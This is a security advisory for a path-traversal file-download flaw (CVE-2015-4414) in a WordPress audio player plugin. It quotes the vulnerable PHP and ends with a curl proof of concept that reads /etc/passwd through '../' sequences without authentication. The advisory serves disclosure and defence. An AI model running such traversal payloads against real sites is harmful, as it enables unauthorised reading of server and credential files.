Description:
An HTML5 Album Audio Player. A plugin to archive, present, and play collections of mp3s (or other html5 audio formats) as albums within your post.
Vulnerability:
The se-html5-album-audio-player v1.1.0 plugin for wordpress has a remote file download vulnerability. The download_audio.php file does not correctly check the file path, it only attempts to check if the path is in /wp-content/uploads which is easily defeated with ../.
This vulnerability doesn’t require authentication to the Wordpress site.
File ./se-html5-album-audio-player/download_audio.php:
3 $file_name = $_SERVER['DOCUMENT_ROOT'] . $_GET['file'];
4 $is_in_uploads_dir = strpos($file_name, '/wp-content/uploads/');
5 // make sure it's a file before doing anything!
6 if( is_file($file_name) && $is_in_uploads_dir !== false ) {
7
8 // required for IE
9 if(ini_get('zlib.output_compression')) { ini_set('zlib.output_compression', 'Off'); }
10
11 // get the file mime type using the file extension
12 switch(strtolower(substr(strrchr($file_name, '.'), 1))) {
13 case 'pdf': $mime = 'application/pdf'; break;
14 case 'zip': $mime = 'application/zip'; break;
15 case 'jpeg':
16 case 'jpg': $mime = 'image/jpg'; break;
17 default: $mime = 'application/force-download';
18 }
19 header('Pragma: public'); // required
20 header('Expires: 0'); // no cache
21 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
22 header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ($file_name)).' GMT');
23 header('Cache-Control: private',false);
24 header('Content-Type: '.$mime);
25 header('Content-Disposition: attachment; filename="'.basename($file_name).'"');
26 header('Content-Transfer-Encoding: binary');
27 header('Content-Length: '.filesize($file_name)); // provide file size
28 header('Connection: close');
29 readfile($file_name); // push it out
30 exit();
The above code does not verify if a user is logged in, and do proper sanity checking if the file is outside of the uploads directory.
CVEID: 2015-4414

Exploit Code:
• $ curl http://www.vapidlabs.com/wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/passwd
